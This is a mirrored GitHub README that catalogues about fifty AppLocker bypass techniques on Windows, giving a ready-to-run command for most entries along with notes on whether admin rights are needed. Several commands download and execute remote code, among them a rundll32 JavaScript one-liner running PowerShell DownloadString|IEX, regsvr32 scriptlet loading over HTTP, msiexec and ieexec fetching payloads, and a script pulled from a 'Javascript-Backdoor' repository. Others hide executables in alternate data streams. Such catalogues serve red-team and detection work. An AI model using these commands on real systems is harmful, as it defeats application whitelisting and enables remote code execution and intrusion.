Giters

0xVIC / myAPPLockerBypassSummary

Simple APPLocker bypass summary

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

myAPPLockerBypassSummary

Simple APPLocker bypass summary based on the extensive work of @api0cradle

  1. Rundll32.exe

rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

rundll32.exe javascript:"..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject("WScript.Shell");w.run("calc");window.close()");

rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")

rundll32 shell32.dll,Control_RunDLL payload.dll

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: No

Notes: I only tested on Windows 10 against the default rules, it could work against older Windows versions.

  1. Regsvr32.exe

regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: No

Notes: I only tested on Windows 10 against the default rules, it could work against older Windows versions.

  1. Msbuild.exe

msbuild.exe pshell.xml

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: Yes

Notes:

  1. Regsvcs.exe

regsvcs.exe /U regsvcs.dll

regsvcs.exe regsvcs.dll

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: Yes

Notes:

  1. Regasm.exe

regasm.exe /U regsvcs.dll

regasm.exe regsvcs.dll

  • Requires admin: /U does not require admin
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: Yes

Notes:

  1. Bginfo.exe

bginfo.exe bginfo.bgi /popup /nolicprompt

  • Requires admin: No
  • Windows binary: No
  • Bypasses AppLocker Default rules: No

Notes: Will work if BGinfo.exe is located in a path that is trusted by the policy.

  1. InstallUtil.exe

InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: Yes

Notes:

  1. MSDT.exe

Open .diagcab package

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. mshta.exe

mshta.exe evilfile.hta

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: Yes

Notes:

  1. Execute .Bat

cmd.exe /k < script.txt

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: No

Notes:

  1. Execute .PS1

Get-Content script.txt | iex

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: No

Notes:

  1. Execute .VBS

cscript.exe //E:vbscript script.txt

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: No

Notes:

  1. PresentationHost.exe

Missing Example

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. dfsvc.exe

Missing Example

  • Requires admin: ?
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. IEExec.exe

ieexec.exe http://x.x.x.x:8080/bypass.exe

  • Requires admin: ?
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. cdb.exe

cdb.exe -cf x64_calc.wds -o notepad.exe

  • Requires admin: ?
  • Windows binary: No
  • Bypasses AppLocker Default rules: ?

Notes:

  1. dnx.exe

dnx.exe consoleapp

  • Requires admin: ?
  • Windows binary: No
  • Bypasses AppLocker Default rules: ?

Notes:

  1. rcsi.exe

rcsi.exe bypass.csx

  • Requires admin: ?
  • Windows binary: No
  • Bypasses AppLocker Default rules: ?

Notes:

  1. csi.exe

Missing example

  • Requires admin: ?
  • Windows binary: No
  • Bypasses AppLocker Default rules: ?

Notes:

  1. CPL loading location manipulation

Control.exe

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. msxsl.exe

msxsl.exe customers.xml script.xsl

  • Requires admin: No
  • Windows binary: No
  • Bypasses AppLocker Default rules: ?

Notes:

  1. msiexec.exe

msiexec /quiet /i cmd.msi

msiexec /q /i http://192.168.100.3/tmp/cmd.png

  • Requires admin: ?
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. cmstp.exe

cmstp.exe /ni /s c:\cmstp\CorpVPN.inf

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes: Can also execute scriptlets - https://twitter.com/NickTyrer/status/958450014111633408 https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80

  1. xwizard.exe

xwizard.exe argument1 argument2

DLL loading in same folder xwizard.dll

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. fsi.exe

fsi.exe c:\folder\d.fscript

  • Requires admin: No
  • Windows binary: No
  • Bypasses AppLocker Default rules: ?

Notes:

  1. odbcconf.exe

odbcconf -f file.rsp

  • Requires admin: ?
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. te.exe

te.exe bypass.wsc

  • Requires admin: No
  • Windows binary: No
  • Bypasses AppLocker Default rules: ?

Notes: Can be used if the Test Authoring and Execution Framework is installed and is in a path that is whitelisted. Default location is: C:\program files (x86)\Windows Kits\10\testing\Runtimes\TAEF

  1. Placing files in writeable paths under c:\windows

The following folders are by default writable and executable by normal users

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys

C:\Windows\System32\spool\drivers\color

C:\Windows\Tasks

C:\windows\tracing

  • Requires admin: No
  • Windows binary: N/A
  • Bypasses AppLocker Default rules: ?

Notes: This list is based on Windows 10 1709. Run accesschk to verify on other Windows versions

  1. Atbroker.exe

ATBroker.exe /start malware

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. WMIC.exe

wmic process call create calc

wmic process get brief /format:"https://www.example.com/file.xsl

wmic os get /format:"MYXSLFILE.xsl"

wmic process get brief /format:"\127.0.0.1\c$\Tools\pocremote.xsl"

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. MavInject32.exe

MavInject32.exe /INJECTRUNNING

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. Pubprn.vbs

pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/api0cradle/fb164762143b1ff4042d9c662171a568/raw/709aff66095b7f60e5d6f456a5e42021a95ca802/test.sct

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. slmgr.vbs

slmgr.vbs

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes: Requires registry keys for com object.

  1. winrm.vbs

winrm quickconfig

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes: Requires registry keys for com object.

  1. forfiles.exe

forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. SyncAppvPublishingServer.exe

SyncAppvPublishingServer.exe "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. InfDefaultInstall.exe

InfDefaultInstall.exe shady.inf

  • Requires admin: ?
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes: Only works on Windows 7? Windows 10 requires admin or digital signature

  1. Winword.exe

winword.exe /l dllfile.dll

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes: No commonly made DLL example file

  1. Runscripthelper.exe

runscripthelper.exe surfacecheck \?\C:\Test\Microsoft\Diagnosis\scripts\test.txt C:\Test

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. Tracker.exe

Tracker.exe /d .\calc.dll /c C:\Windows\write.exe

  • Requires admin: No
  • Windows binary: No
  • Bypasses AppLocker Default rules: ?

Notes: Part of Visual studio. Requires TrackerUI.dll present in 1028 subfolder.

  1. .WSF files

script.wsf

  • Requires admin: No
  • Windows binary: No
  • Bypasses AppLocker Default rules: ?

Notes: .WSF files are supposed to not be blocked by AppLocker

  • Links:
  1. PowerShell version 2

Powershell -version 2

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes: Bypasses Constrained language mode

  • Links:
  1. CL_Invocation.ps1

. C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1

SyncInvoke [args]

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: Yes, as long as PowerShell version 2 is present

Notes: Requires PowerShell version 2

  1. Incorrect permissions on files in folders

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: Yes

Notes:

  1. Control.exe -Loading DLL/CPL binary from Alternate data stream

type notepad_reflective_x64.dll > c:\windows\tasks\zzz:notepad_reflective_x64.dll control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes: Requires write access to a place that is allowed by AppLocker

  1. Advpack.dll - LaunchINFSection

rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: Yes

Notes:

  1. Advpack.dll - RegisterOCX

rundll32.exe advpack.dll,RegisterOCX calc.exe

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: Yes

Notes:

  1. zipfldr.dll - RouteTheCall

rundll32.exe zipfldr.dll,RouteTheCall calc.exe

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: Yes

Notes:

  1. url.dll - OpenURL

rundll32.exe url.dll,OpenURL "C:\test\calc.hta" rundll32.exe url.dll,OpenURL "C:\test\calc.url"

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. url.dll - FileProtocolHandler

rundll32.exe url.dll, FileProtocolHandler calc.exe

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. ieframe.dll - OpenURL

rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. shdocvw.dll - OpenURL

rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. ieadvpack.dll - LaunchINFSection

rundll32.exe ieadvpack.dll,LaunchINFSection test.inf,,1,

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes:

  1. ie4unit.exe

ie4unit.exe -BaseSettings

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: No

Notes: Requires to copy out ie4unit.exe and ieuinit.inf to a user controlled folder. Also need to add SCT in the MSIE4RegisterOCX.Windows7 section

  1. Visual Studio Tools for Office - .VSTO files

evilfile.vsto

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes: You need to build a solution using Visual Studio Tools for Office. User needs to confirm installation after executing.

  1. Manage-bde.wsf

cscript c:\windows\system32\manage-bde.wsf

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: ?

Notes: Need to adjust comspec variable using: set comspec=c:\windows\system32\calc.exe

  1. msdeploy.exe

msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="c:\temp\bypass.exe & pause"

  • Requires admin: No
  • Windows binary: Yes
  • Bypasses AppLocker Default rules: Yes

Notes: Part of web deploy:

About

Simple APPLocker bypass summary